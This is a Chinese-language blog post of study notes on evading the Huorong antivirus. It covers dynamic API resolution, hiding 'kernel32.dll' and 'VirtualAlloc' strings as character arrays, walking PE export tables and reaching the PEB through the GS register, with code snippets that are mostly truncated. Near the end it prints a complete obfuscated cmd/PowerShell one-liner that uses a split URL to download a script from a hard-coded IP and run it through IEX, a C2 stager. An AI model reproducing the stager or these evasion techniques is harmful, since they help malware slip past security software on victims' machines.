免杀过火绒思路整理
免杀过火绒思路整理
官方文档
| 1 | https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect | 
大白哥基础码
| 1 | #include <windows.h> // Windows API 和 一些常量 | 
弹计算器
| 1 | unsigned char buf[] = | 
结构
| 区段 | 内容 | 
|---|---|
| .text | 代码段:main 等 | 
| .data | 数据段:globalData | 
| .rdata | 只读数据(字符串常量、导入表等) | 
| .idata | 导入表 | 
一自定义函数
直接使用函数(静态调用)
编译器会在可执行文件的导入表(Import Table)中记录这个函数。
系统在程序启动时自动加载 DLL(比如 kernel32.dll)并解析函数地址。
用 GetProcAddress + 函数指针(动态调用)
程序运行时才去找函数地址
不在导入表里(更难被静态检测)
自定义函数指针
| 1 | VirtualAlloc | 
| 1 | typedef LPVOID(WINAPI* aVirtualAlloc)( | 
句柄 (Handle)	一个”抽象编号”	操作系统内部用的“编号”,不是地址,不能直接拿来访问内存。
基址 (Base Address)	模块加载到内存的起始地址	一个真实的内存地址,可以直接访问模块内容(比如kernel32.dll的加载地址)。
地址 (Address)	任何一个内存位置	可以是任意对象、函数、数据、变量的内存位置。
| 句柄类型 | 说明 | 
|---|---|
| HANDLE(比如文件、进程、线程、互斥体) | 是一个 “系统内核对象句柄”,本质是索引或指针,不能直接解引用。 | 
| HMODULE(模块句柄) | 是一个内存中的真实基址地址,可以直接当作指针来用。 | 
rdata段的关键字绕过
编译器通常会对字符串字面量保留在 .rdata(只读数据段)中,这样可以在调试工具或二进制中看到它。
编译器会把它放在 PE 文件的 .rdata(只读数据)段。
- char kn[] = { ‘k’, ‘e’, ‘r’, ‘n’, ‘e’, ‘l’, ‘3’, ‘2’, ‘.’, ‘d’, ‘l’, ‘l’, 0 };
- char use3[] = { ‘V’, ‘i’, ‘r’, ‘t’, ‘u’, ‘a’, ‘l’, ‘A’, ‘l’, ‘l’, ‘o’, ‘c’, 0 };
二遍历导出表
hModule参数是加载的DLL的基址。这是在进程的地址空间中找到的DLL模块的地址
VA
VA (virtual Address) 虚拟地址的意思 ,
RVA
RVA(relative Virtual Address) 相对虚拟地址偏移
序数
函数的序号是一个整数值,表示该函数在 DLL 中的导出函数表中的位置。导出表被组织为函数指针的 列表(数组),每个函数根据其在表中的位置被分配一个序号值。
| 1 | #include <Windows.h> | 
三内联汇编
基址(Base Address)
- 定义:基址通常指的是一个模块(如 DLL 或 EXE)在内存中的起始地址。它是模块加载到内存时的地址。
- 用途:基址用于计算模块中各个部分(如函数、变量)相对于模块开始加载位置的偏移量。
句柄(Handle)
- 定义:句柄通常是一个由操作系统分配的、用于标识资源(如文件、线程、进程、窗口等)的唯一标识符。
- 用途:句柄用于访问和操作特定的资源。在 Windows API 中,句柄被广泛用于标识和操作各种资源。
PEB 进程环境块
(Process Environment Block)
TEB 线程环境块
线程环境块在进程环境块里,
gs指向线程环境块,线程环境块里有进程环境块的地址(30/60位)
GS
线程环境块指针
_List_Entry链表结构
https://blog.csdn.net/shenjin_s/article/details/79136121
测试
| 1 | #include<stdio.h> | 
http码上线绕过
看看就行
| 1 | cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://192.1'+'.1'+'.4'+':80'+'82/1') | p^o^w^e^r^s^h^e^l^l - | 
All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.
 Comments
